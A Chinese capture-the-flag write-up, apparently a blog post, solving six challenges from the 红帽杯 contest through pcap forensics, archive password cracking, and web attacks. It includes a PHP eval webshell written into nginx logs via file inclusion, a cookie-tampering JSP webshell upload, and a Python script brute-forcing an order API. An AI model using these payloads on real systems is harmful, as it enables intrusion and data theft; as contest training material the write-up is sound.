红帽杯writeup

目录

Not Only Wireshark
听说你们喜欢手工爆破
这是道web题?
simple upload
shopping log
biubiubiu

Not Only Wireshark

题目是一个数据包,拿到数据包之后,先用wireshark进行分析,一般思路是提取数据包中的文件,提取到几个图片一开始以为是隐写,官方提示用tshark,使用tshark分析数据包:

tshark -r redhat.pcapng -2 http.request  //获取所有http请求包
image
分析/sqli/example2.php?name=123,这种url的参数为一堆十六进制,将其提取出来:

tshark -r redhat.pcapng -2 http.request | grep '/sqli/example2.php?name=' | awk '{print $9}'
image
处理得到十六进制字符串:
123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000

由504B猜测可能是zip压缩包,504B0304是zip文件头的重要信息,修复zip头信息,得到:
504B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000

将其转换为二进制文件:
xxd -p -r hex.txt bin.zip
直接解压缩需要密码,在数据包的一个请求头中有key=?id=1128%23
密码为?id=1128%23,解压得到flag
https://ctf-wiki.github.io/ctf-wiki/misc/archive/zip/

听说你们喜欢手工爆破

题目的压缩包里是.iso文件,解压缩后是一堆的文本文件和一个有密码的压缩包文件,很明显使用txt文件的文件名进行爆破,先用脚本提取出所有的文件名,

```
import os
//得到rar目录下所有的文件名
def Test2(rootDir):
    for lists in os.listdir(rootDir):
        path = os.path.join(rootDir, lists)
        print  "'"+ (path.replace('\\','/') + "'" +',').split('/')[1]
        if os.path.isdir(path):
            Test2(path)

Test2('rar')
```



然后用ARPR工具家在字典进行爆破,得到密码是0328fc8b43cb2ddf89ba69fa5e6dbc05。
image
里面是一个word文档,使用Advanced Office Password Recovery工具爆破得到密码5693
image
根据文件名搜索到曼彻斯特编码,里面恰好有一段编码123654AAA678876303555111AAA77611A321,直接到网上找到脚本:

```

n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''

def conv(s):
    return hex(int(s,2))[2:]

for i in range(0,len(bs),2):
        if bs[i:i+2]=='01':
            r+='0'
        else:
            r+='1'

for i in range(0,len(r),8):
    tmp=r[i:i+8][::-1]
    flag+=conv(tmp[:4])
    flag+=conv(tmp[4:])

print flag.upper()
```

得到flag: flag{5EFCF5F507AA5FAD77}

这是道web题?

这道题吐槽一下,不知道是在搞咩。题目下载下来是一个yun cms程序。看到别人的解题思路做的。

先找到一个一句话木马,根据下面tshark提示,找到相应的数据包。78466550-3fc1-11e8-9828-32001505e920.pcapng,这个数据包中
image
找到example.php文件,文件1912K,使用binwalk分析可以看出是一个jpeg和gif文件,gif文件通过dd命令提取出来。
clipboard.png
my.gif
HTML解码直接得到falg: flag{S02y4orr5}

simple upload

这道题很简单,访问服务器返回Set-Cookie: admin=0,直接修改cookie中的值,admin=1直接上传jsp一句话,菜刀连接即可
image

shopping log

这道题逻辑很简单,增加几个http header信息,直接爆破orderid即可,验证需要进行md5爆破。直接贴上代码

```

import requests
import string
import hashlib

url = 'http://120.132.95.234/%s'
headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
s = requests.session()

//生成彩虹表
md5_table = {}
target = (256 ** 3) / 2
i = 0

print 'Preparing md5 rainbow table...'
while True:
    md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
    i += 1
    if len(md5_table) >= target:
        break
    if len(md5_table) % 100000 == 0:
        print str(len(md5_table)) + ' / ' + str(target)
print str(len(md5_table)) + ' / ' + str(target)

# 9588
for i in range(9500, 10000):
    code = ''
    while True:
        r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
        r.encoding = 'utf-8'
        code = r.text.split("=== '")[1].split("'")[0]
        if code in md5_table:   
            break
    payload = {'TxtTid': i, 'code': md5_table[code]}
    r = s.post(url % 'api.php?action=report', headers=headers, data=payload)

    r.encoding = 'utf-8'
    print 'TxtTid=%d: %s' % (i, r.text)
    if "There's no such order." not in r.text: 
        break
```

这道题自己一开始写的爆破md5脚本,速度很慢,ctf中这种题目其实可以使用md5彩虹表的形式,以空间换时间,生成彩虹表大概需要1G,速度大大加快。

biubiubiu

    这道题两种解法,一种是文件包含日志文件拿shell,第二种是ssrf+gopher协议,预期解法是第二种。
写入一句话:
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/x.php<?php eval($_POST['cmd']);?> 
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/index.php?page=/var/log/nginx/access //文件包含
image
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/ssrf.php

    直接菜刀连接,菜刀无法连接,用蚁剑连接,连接成功,读取conn.php,连接数据库,直接读取flag。
image
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352

推荐阅读更多精彩内容